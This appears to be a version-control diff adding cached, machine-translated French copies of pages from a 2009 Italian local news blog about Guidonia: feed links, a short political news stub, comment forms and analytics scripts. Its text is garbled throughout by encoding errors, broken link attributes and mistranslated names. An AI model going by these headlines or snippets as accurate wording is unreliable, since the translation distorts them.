hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6288&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6288&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6288&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6288&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="S&#39;abonner Ã  ce contenu"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6288&lang=fr" >Fast News Blog</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">Comune di Roma - Todini (PDL): viols,</a> de <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">mesure ou de Â«comble</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - La ligne de chemin de fer de la &quot;outcastes&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/#39;ASL Roma de G qui se rapportent Ã  la commune de Monterotondo, Guidonia, Tivoli, Subiaco, Palestrina, Colleferro comporte une section consacrÃ©e Ã  la prÃ©vention et la sÃ©curitÃ© au travail dans Via Tenuta del Cavaliere n.1. L&#39;article traite du phÃ©nomÃšne des accidents, des maladies professionnelles et l&#39;Ã©ducation Ã  la santÃ© entre les i. .. Tags: tivoli collefe Subiaco Monterotondo [...]"">ASL Roma G:</a> la <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/#39;ASL Roma de G qui se rapportent Ã  la commune de Monterotondo, Guidonia, Tivoli, Subiaco, Palestrina, Colleferro comporte une section consacrÃ©e Ã  la prÃ©vention et la sÃ©curitÃ© au travail dans Via Tenuta del Cavaliere n.1. L&#39;article traite du phÃ©nomÃšne des accidents, des maladies professionnelles et l&#39;Ã©ducation Ã  la santÃ© entre les i. .. Tags: tivoli collefe Subiaco Monterotondo [...]"">prÃ©vention et la sÃ©curitÃ© au travail</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html#39;il Ã©tait sur le mont Morra, dans le parc des monts Lucretili, non loin de la ville de San Polo dei Cavalieri, prÃšs de Rome. La femme, un barman, Ã©tait en compagnie d&#39;un ami, un commerÃ§ant de 50 ans, nÃ© Ã  Guidonia. Ã environ 19 les deux ... Tags: Guidonia carabiniers lazio roma [...]"">Une femme tuÃ©e par la foudre dans la rÃ©gion du Latium</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;en onda &quot;L&#39;Aquila, des maisons sans ciment. Voici la preuve. &quot; Le dÃ©tachement, Enzo Cappucci, ont creusÃ© dans les dÃ©combres dans la rÃ©gion des Abruzzes et a trouvÃ© des preuves de la lÃ©gÃšretÃ©, l&#39;absence de contrÃŽles, la nÃ©gligence criminelle avec laquelle de nombreuses maisons ont Ã©tÃ© construites. Le ... Tags: enzo casquettes abruzzo RaiNews24 rai roma un [...]"">Rai sur le ciment</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;dans onda&#39;&#39;L&#39;Aquila, des maisons sans ciment. Voici la preuve&#39;&#39;. L&#39;envoyÃ© de Rainews24, Enzo Cappucci, ont creusÃ© dans les dÃ©combres dans la rÃ©gion des Abruzzes et a trouvÃ© des preuves de la lÃ©gÃšretÃ©, l&#39;absence de contrÃŽles, la nÃ©gligence criminelle avec laquelle de nombreuses maisons ont Ã©tÃ© ... Tags: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle,</a> des <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;dans onda&#39;&#39;L&#39;Aquila, des maisons sans ciment. Voici la preuve&#39;&#39;. L&#39;envoyÃ© de Rainews24, Enzo Cappucci, ont creusÃ© dans les dÃ©combres dans la rÃ©gion des Abruzzes et a trouvÃ© des preuves de la lÃ©gÃšretÃ©, l&#39;absence de contrÃŽles, la nÃ©gligence criminelle avec laquelle de nombreuses maisons ont Ã©tÃ© ... Tags: [...]"">maisons sans ciment&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html#39;antiquitÃ©s de valeur sur le marchÃ© de San Benedetto del Tronto, ont Ã©tÃ© attaquÃ©s et dÃ©valisÃ©s dans le hall, la salle par une bande composÃ©e de quatre hommes, l&#39;un d&#39;eux armÃ© d&#39;un pistolet. Le butin s&#39;Ã©levait Ã  environ 100 milliers d&#39;euros et personne n&#39;a Ã©tÃ© blessÃ©. I. .. Tags: guido Ascoli Piceno roma [...]"">ArmÃ© d&#39;un pistolet d&#39;antiquitÃ©s volÃ©s Ã  l&#39;hÃŽtel</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/#39;abonner Ã  la sÃ©rie de championnat rÃ©gional C2, la deuxiÃšme sortie officielle de Mai 16. Non ... Tags: FIGC officiels Olimp culture [...]"">En Juillet 23 abonnements rÃ©gionaux C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">La gestion de la douleur post-opÃ©ratoire gagne Â»et le rock &#39;stretch&#39; e. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/#39;indignation pathÃ©tique de la mort des pauvres Eluana) Ã©tait inÃ©vitable retour de flamme et d&#39;Ã©paisseur habituelle de la congrÃ©gation des citoyens qui, au nom de ... Tags: ange traquer Izzo capodanno Colosses [...]"">Les femmes et la dÃ©mocratie.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/#39;indignation pathÃ©tique de la mort des pauvres Eluana) Ã©tait inÃ©vitable retour de flamme et d&#39;Ã©paisseur habituelle de la congrÃ©gation des citoyens qui, au nom de ... Tags: ange traquer Izzo capodanno Colosses [...]"">La peur, le mensonge et Â«mytheÂ».</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;indignation pathÃ©tique de la mort des pauvres Eluana) Ã©tait inÃ©vitable retour de flamme et d&#39;Ã©paisseur habituelle de la congrÃ©gation des citoyens qui, au nom de la Â«populaceÂ» exige ... Tags: pouvoir Circeo accueil expositions donatella avec [...]"">Les femmes et la dÃ©mocratie.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;indignation pathÃ©tique de la mort des pauvres Eluana) Ã©tait inÃ©vitable retour de flamme et d&#39;Ã©paisseur habituelle de la congrÃ©gation des citoyens qui, au nom de la Â«populaceÂ» exige ... Tags: pouvoir Circeo accueil expositions donatella avec [...]"">La peur, le mensonge et Â«mytheÂ»</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Transformers premiÃšres, le jeudi 25 Juin au cinÃ©ma</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html#39;explication habituelle du rite, est maintenant officiellement une nouvelle note de ... Tags: luca gÃ©nois Fusco Rozzano tommaso bern [...]"">Salernitana: Diesse Acri, Fabiani digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra#39;alliance avec l&#39;UDC Ã  Rieti a remboursÃ© le centre, ce qui confirme Fabio Melilli; Frosinone au lieu de centre-droit a remportÃ© d&#39;Antonello Iannarilli. Comme pour les villes de la province de Rome est allÃ© Ã  la tour de scrutin, i. .. Tags: Ilaria Bencivenni antonello iannaril [...]"">Les Ã©lections, et Ã  New Source Guidonia centre</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=fr" >GuidoniaPuntoNet (en cours).</a> Lien: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">Ãlections en ligne</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="website statistics" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="website statistics"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 4.738 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 15:25:02 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/fr/_wp__p=6295&lang=fr
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/fr/_wp__p=6295&lang=fr	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/fr/_wp__p=6295&lang=fr	(revision 44)
@@ -0,0 +1,72 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6295 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> Guidonia: DC, PAGANO MAYOR &#39;TROMPETTE&#39; A PAS D&#39;EXAMEN dÃ©faite - IRIS de presse - National News Agency - GuidoniaPuntoNet (en cours) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (en cours) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6295&rurl=translate.google.com&lang=it&usg=ALkJrhiZ-WLpManKy_ApQmtlq_-EbMPNaA" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="dÃ©faut" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="rose" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="vert" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="pourpre" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="rouge" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="bleu" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (en cours) &quot;Guidonia: DC, PAGANO MAYOR &#39;TROMPETTE&#39; A PAS D&#39;EXAMEN dÃ©faite - IRIS Presse - Agence nationale de presse Comments Feed" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (en cours)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia dans WebTv" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="Avis aux Marrazzo de 2010 - il Giornale" href=http://www.guidonia.net/wp/?p=6214 /><link rel=next title="ATTRIBUTION DU ROTARY GIORNALISTICA / Ã  la mÃ©moire de Grazio AMMATURO ... - UnoNotizie.it" href=http://www.guidonia.net/wp/?p=6291 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=fr" >GuidoniaPuntoNet (en cours)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=fr" >Accueil</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=fr" >Ã propos de</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=fr" >Contacts</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="recherche" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6295><h2> <span  > <a href="http://www.guidonia.net/wp?p=6295#39;TROMPETTE&#39; A PAS D&#39;EXAMEN dÃ©faite - IRIS Presse - Agence de presse nationale&lang=fr" ">Guidonia: DC, PAGANO MAIRE &quot;TROMPETTE&quot; NON REVISION</a> A <a href="http://www.guidonia.net/wp?p=6295#39;TROMPETTE&#39; A PAS D&#39;EXAMEN dÃ©faite - IRIS Presse - Agence de presse nationale&lang=fr" ">la dÃ©faite - IRIS Presse - Agence de presse nationale</a></span> </h2><p class=meta-header> <span  > ReÃ§u 25 Juin 2009 Ã  <a href="http://www.guidonia.net/wp?cat=1&lang=fr" >Guidonia News</a> par admin</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh><span  > <b><a href="http://news.google.com/news/url?Art=43986&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA">Guidonia: DC, PAGANO MAYOR &#39;TROMPETTE&#39; EST PAS UN EXAMEN pertes</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>IRIS de presse - National News Agency</b></font></font></span> <br /> <span  > <font size=-1><b>...</b> Pour la victoire au maire Eligio Rubeis de <b>Guidonia Montecelio,</b> et pendant des mois, il a poursuivi, sans succÃšs, de rechercher</font> une <font size=-1>alliance. <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=dp3-KeU4Jhn_l8M"><font class=p size=-1><b>more Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > Laissez une rÃ©ponse</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6295#respond style=display:none;&lang=fr" ><small>Cliquez ici pour annuler la rÃ©ponse.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>Nom (requis)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>Mail (ne sera pas publiÃ©) (requis)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>Site</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>Commentaires</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="Envoyer un commentaire" class=box /><input type=hidden name=comment_post_ID value=6295 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Blue</a> <a href="http://www.guidonia.net/">Pink</a> <a href="http://www.guidonia.net/">Green</a> <a href="http://www.guidonia.net/">Purple</a> <a href="http://www.guidonia.net/">Red</a></span> </p><div class="about box"><h3> <span  > Info</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet:</b> des <b>idÃ©es pour le web</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>IdÃ©es Ã  la recherche de financement: <a href=mailto:info@guidonia.net>nous contacter</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > Vous pouvez rester DerniÃšre mise via <a href="http://www.guidonia.net/wp?feed=rss2&lang=fr" >rss feed.</a></span> </div><div class=col><div class=box><h3> <span  > VidÃ©os Ã  propos de Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6295# onclick=&lang=fr" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansarda Guidonia Center" src=http://i.ytimg.com/vi/z32gTXwZyq0/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTER, ad.</span> <span  > Viale Roma et la gare de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6295# onclick=&lang=fr" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Words and Sounds Days - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Les morceaux de la lÃ©gende d&#39;un concert de Guidonia Moro ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6295# onclick=&lang=fr" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Les morceaux de la lÃ©gende d&#39;un concert de Guidonia Moro ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6295# onclick=&lang=fr" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - The Meaning Of Everything Is - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Les morceaux de la lÃ©gende d&#39;un concert de Guidonia Moro ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6295# onclick=&lang=fr" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Non Import - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Les morceaux de la lÃ©gende d&#39;un concert de Guidonia Moro ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > Petites annonces</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > Juillet: 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="lundi"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="mardi"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="Mercredi"> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="jeudi"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="vendredi"> <span  > V</span> </th><th abbr=sabato scope=col title="Samedi"> <span  > S</span> </th><th abbr=domenica scope=col title="dimanche"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=fr" >Â«Jun</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=fr" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703#39;Ouest&lang=fr" ">3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=fr" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > Translator</span> </h3>
